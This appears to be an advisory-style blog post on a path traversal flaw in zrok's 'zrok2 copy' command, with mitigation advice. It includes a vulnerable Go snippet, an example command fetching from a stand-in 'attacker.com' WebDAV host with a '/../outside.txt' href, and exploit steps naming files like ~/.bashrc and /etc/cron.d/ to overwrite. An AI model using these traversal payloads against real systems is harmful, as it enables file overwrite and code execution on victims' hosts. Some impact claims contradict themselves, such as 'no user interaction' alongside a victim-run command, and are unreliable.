Listen to this Post
How CVE-2026-45576 Works
zrok is an open-source tool for securely sharing web services, files, and network resources. It includes a `zrok2 copy` command that synchronizes files from a remote WebDAV or zrok drive to a local filesystem destination.
The vulnerability arises because the `zrok2 copy` command does not properly sanitize file paths returned by the remote source. When Alice runs `zrok2 copy` from a WebDAV or zrok drive that is controlled by Bob (the attacker), Bob can return a malicious DAV `href` value containing directory traversal sequences — for example, /../outside.txt.
The sync pipeline stores this attacker-controlled path in the source inventory and later passes it directly to FilesystemTarget.WriteStream. This function joins the attacker-supplied path with the local target root directory without validating that the resulting path stays within the intended destination folder.
As a result, when the file is written, the operating system resolves the `../` sequences and creates the file outside Alice’s selected local directory — anywhere the zrok process has write permissions. An attacker can leverage this to overwrite critical system files, plant backdoors, or exfiltrate sensitive data by writing files to arbitrary locations on the host.
The vulnerability affects all zrok versions from 0.4.23 up to and including 2.0.2. It was patched in version 2.0.3 by implementing proper path validation and sanitization for all remote file paths before any filesystem write operation occurs.
DailyCVE Form:
| Field | Value |
|-|-|
| Platform | zrok |
| Version | < 2.0.3 |
| Vulnerability | Path Traversal |
| Severity | Critical |
| Date | 2026-05-19 |
| Prediction | Already Patched |
What Undercode Say
Analytics:
- CVSS v3.0 Score: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSS v2 Score: 5.0 (Medium) — AV:N/AC:L/Au:N/C:N/I:P/A:N
- Affected Module: `github.com/openziti/zrok` (all versions before v2.0.3)
- Advisory: GHSA-c656-jcx2-7pqj
- Published: May 19, 2026
- Vector: Attacker-controlled WebDAV paths allow traversal outside destination root, risking writes outside target and data overwrite
Bash Commands & Code:
Check installed zrok version zrok2 version Vulnerable command example (attacker-controlled source) zrok2 copy webdav://attacker.com/share /local/destination Attacker returns DAV href: /../outside.txt File gets written to /outside.txt instead of /local/destination/
// Vulnerable code pattern (simplified)
func (t FilesystemTarget) WriteStream(path string, data io.Reader) error {
// path comes directly from remote inventory - no sanitization
fullPath := filepath.Join(t.Root, path) // /../outside.txt -> /outside.txt
return os.WriteFile(fullPath, data, 0644)
}
PoC: Create malicious WebDAV server returning traversal paths Using Python's wsgidav with custom href responses
Exploit
An attacker can exploit this vulnerability by:
- Setting up a malicious WebDAV or zrok drive that returns directory traversal sequences (
/../,../../, etc.) in DAV `href` responses. - Tricking a victim into running `zrok2 copy` from the attacker-controlled source to a local filesystem target.
- Writing arbitrary files outside the intended destination directory, potentially overwriting sensitive system files, SSH keys, configuration files, or planting malicious executables.
- Achieving remote code execution if critical files like
~/.bashrc,/etc/cron.d/, or web application files are overwritten.
The attack requires no authentication and no user interaction beyond the victim executing the copy command from a malicious source.
Protection
- Upgrade to zrok version 2.0.3 or later immediately. This is the only complete fix.
- Avoid running `zrok2 copy` from untrusted or unknown WebDAV/zrok drive sources.
- Implement network controls to restrict outbound WebDAV connections to trusted endpoints only.
- Run zrok with least-privilege filesystem permissions to limit the impact of any path traversal write.
- Monitor filesystem for unexpected writes outside expected directories, especially in sensitive system paths.
Impact
- Confidentiality: An attacker can read arbitrary files on the host system by writing files to known locations or leveraging subsequent symlink issues (CVSS High).
- Integrity: Full integrity loss — arbitrary file writes allow modification of system files, binaries, and configurations.
- Availability: Overwriting critical files can lead to system crashes, service disruption, or denial of service.
- Scope: The vulnerability escapes the WebDAV share boundary, affecting the entire host filesystem.
- Risk: Critical — CVSS 3.0 base score 9.8 with no privileges required and no user interaction.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
